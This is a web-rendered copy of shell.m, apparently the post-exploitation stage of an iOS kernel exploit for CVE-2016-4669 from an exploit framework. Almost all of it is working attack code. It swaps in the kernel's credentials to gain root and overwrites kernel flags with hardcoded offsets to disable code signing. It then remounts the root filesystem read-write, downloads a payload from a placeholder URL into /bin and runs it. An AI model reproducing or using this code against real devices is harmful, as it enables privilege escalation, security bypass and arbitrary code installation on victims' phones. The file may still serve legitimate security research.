Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4669/shell.m
Views: 11778
// [1] https://github.com/kpwn/yalu102/blob/master/yalu102/1// [2] http://www.newosxbook.com/articles/CodeSigning.pdf23#include "macho.h"4#include "utils.h"5#include "offsets.h"67#define MNT_ROOTFS 0x000040008#define MNT_RDONLY 0x000000019#define MNT_NOSUID 0x000000081011#define PAYLOAD_URL_PLACEHOLDER "PAYLOAD_URL_PLACEHOLDER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\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0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"1213static struct {14addr_t amfi_allow_any_signature;15addr_t cs_enforcement_disable;16addr_t p_rootvnode;17addr_t base;18} koffsets = {19.amfi_allow_any_signature = 0x807c3b30,20.cs_enforcement_disable = 0x807c3b38,21.p_rootvnode = 0x8038c1b4,22.base = 0x8000100023};242526addr_t get_port_addr(addr_t space, mach_port_t port)27{28addr_t is_table_size;29addr_t is_table;30addr_t addr;3132is_table_size = kr32(space + SPACE_is_table_size);33is_table = kr32(space + SPACE_is_table);34addr = kr32(is_table + (port >> 8)*0x10);3536return addr;37}3839addr_t proc_for_pid(addr_t self_proc, int pid)40{41addr_t next = kr32(self_proc);42while (next != self_proc) {43int _pid = kr32(next + 8);44if (_pid == pid) {45return next;46}47next = kr32(next);48}4950return 0;51}5253int remount_root_rw(addr_t slide)54{55addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);56addr_t v_mount = kr32(rootvnode + VNODE_v_mount);5758uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);59kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~(MNT_ROOTFS | MNT_RDONLY));6061char* nmz = strdup("/dev/disk0s1s1");62int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);63if (ret < 0) {64LOG("mount failed ret: %d", ret);65return -1;66}6768LOG("root fs mounted r/w");69kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY);70return 0;71}7273int remount_root_ro(addr_t slide)74{75addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);76addr_t v_mount = kr32(rootvnode + VNODE_v_mount);7778uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);79mnt_flags |= MNT_RDONLY;80mnt_flags &= ~MNT_ROOTFS;8182kw32(v_mount + MOUNT_mnt_flags, mnt_flags);8384char* nmz = strdup("/dev/disk0s1s1");85int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);86if (ret < 0) {87LOG("mount failed ret: %d", ret);88return -1;89}90LOG("root fs mounted ro");9192kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS);93return 0;94}9596void random_string(char *s, const int len) {97static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";98for (int i = 0; i < len; ++i) {99s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];100}101s[len] = 0;102}103104void deploy()105{106char* path = "/bin/random";107random_string(path + 5, 6);108download(PAYLOAD_URL_PLACEHOLDER, path);109110pid_t pid = 0;111char *args[] = {path, NULL};112int ret = posix_spawn(&pid, path, 0, 0, args, NULL);113if (ret < 0) {114LOG("posix_spawn failed: %d", ret);115return;116}117waitpid(pid, 0, 0);118LOG("shell deployed");119}120121void shell_main(addr_t self_space, addr_t slide)122{123addr_t self_addr = get_port_addr(self_space, mach_task_self());124LOG("self_addr: %lx", self_addr);125126addr_t self_task = kr32(self_addr + IPC_PORT_kobject);127LOG("self_task: %lx", self_task);128129addr_t self_proc = kr32(self_task + TASK_bsd_proc);130LOG("self_proc: %lx", self_proc);131132addr_t kernel_proc = proc_for_pid(self_proc, 0);133LOG("kernel_proc: %lx", kernel_proc);134135// privilege escalation from [1]136addr_t self_ucred = kr32(self_proc + PROC_ucred);137addr_t kernel_cred = kr32(kernel_proc + PROC_ucred);138kw32(self_proc + PROC_ucred, kernel_cred);139140LOG("got root uid: %d, gid: %d", getuid(), getgid());141142// disable code signing by overwriting kernel arguments143// as described in [2]144//145// defeats146// outside of container && !i_can_has_debugger147kw32(koffsets.amfi_allow_any_signature + slide, 1);148kw32(koffsets.cs_enforcement_disable + slide, 1);149150// root file system remount from [1]151remount_root_rw(slide);152deploy();153remount_root_ro(slide);154155// restore credentials156kw32(self_proc + PROC_ucred, self_ucred);157}158159160161162163